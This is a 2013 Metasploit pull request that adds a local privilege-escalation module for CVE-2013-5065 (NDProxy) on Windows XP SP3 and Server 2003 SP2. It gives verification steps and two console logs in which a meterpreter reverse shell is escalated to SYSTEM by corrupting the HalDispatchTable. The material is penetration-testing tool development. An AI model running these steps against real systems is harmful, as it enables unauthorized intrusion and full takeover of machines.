rapid7/metasploit-framework — pull request #2755 by jvazquez-r7 (2013-12-11 15:01:21+00:00)
Title: Add module for CVE-2013-5065

Tested on Windows XP SP3 and Windows 2003 SP2 successfully.

Verification
=========

- [ ] Install Windows XP SP3 or Windows 2003 SP2
- [ ] Enable the "Routing and Remote Access"
- [ ] Get a meterpreter session on the target system (just use msfpayload to create a meterpreter payload embedded into an exe)
- [ ] Run the local exploit like on the DEMO
- [ ] Hopefully enjoy a new SYSTEM session (verify with getuid)

DEMO
=====

* Win XP SP3

```
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1025) at 2013-12-11 08:57:34 -0600

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms_ndproxy
msf exploit(ms_ndproxy) > set session 1
session => 1
msf exploit(ms_ndproxy) > check
re[*] The target appears to be vulnerable.
msf exploit(ms_ndproxy) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.0.165:4444
[*] Detecting the target system...
[*] Running against Windows XP SP3
[*] Checking device...
[+] \\.\NDProxy found!
[*] Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...
[+] Addresses successfully disclosed.
[*] Storing the kernel stager on memory...
[+] Kernel stager successfully stored at 0x1000
[*] Storing the trampoline to the kernel stager on memory...
[+] Trampoline successfully stored at 0x1
[*] Storing the IO Control buffer on memory...
[+] IO Control buffer successfully stored at 0xd0d0000
[*] Triggering the vulnerability, corrupting the HalDispatchTable...
[*] Executing the Kernel Stager throw NtQueryIntervalProfile()...
[*] Checking privileges after exploitation...
[+] Exploitation successful!
[*] Injecting 290 bytes to memory and executing it...
[*] Sending stage (769024 bytes) to 10.6.0.165
[+] Enjoy
[*] Meterpreter session 2 opened (10.6.0.165:4444 -> 10.6.0.165:50716) at 2013-12-11 08:58:05 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
smeterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 2 closed. Reason: User exit
msf exploit(ms_ndproxy) >
```

* Win 2003 SP2

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.172.136
[*] Meterpreter session 3 opened (192.168.172.1:4444 -> 192.168.172.136:1031) at 2013-12-11 08:58:42 -0600

meterpreter > getuid
Server username: JUAN-6ED9DB6CA8\Administrator
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > background
[*] Backgrounding session 3...
msf exploit(ms_ndproxy) > set session 3
session => 3
msf exploit(ms_ndproxy) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Detecting the target system...
[*] Running against Windows Server 2003 SP2
[*] Checking device...
[+] \\.\NDProxy found!
[*] Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...
[+] Addresses successfully disclosed.
[*] Storing the kernel stager on memory...
[+] Kernel stager successfully stored at 0x1000
[*] Storing the trampoline to the kernel stager on memory...
[+] Trampoline successfully stored at 0x1
[*] Storing the IO Control buffer on memory...
[+] IO Control buffer successfully stored at 0xd0d0000
[*] Triggering the vulnerability, corrupting the HalDispatchTable...
[*] Executing the Kernel Stager throw NtQueryIntervalProfile()...
[*] Checking privileges after exploitation...
[+] Exploitation successful!
[*] Injecting 290 bytes to memory and executing it...
[*] Sending stage (769024 bytes) to 192.168.172.136
[+] Enjoy
[*] Meterpreter session 5 opened (192.168.172.1:4444 -> 192.168.172.136:1032) at 2013-12-11 08:59:57 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```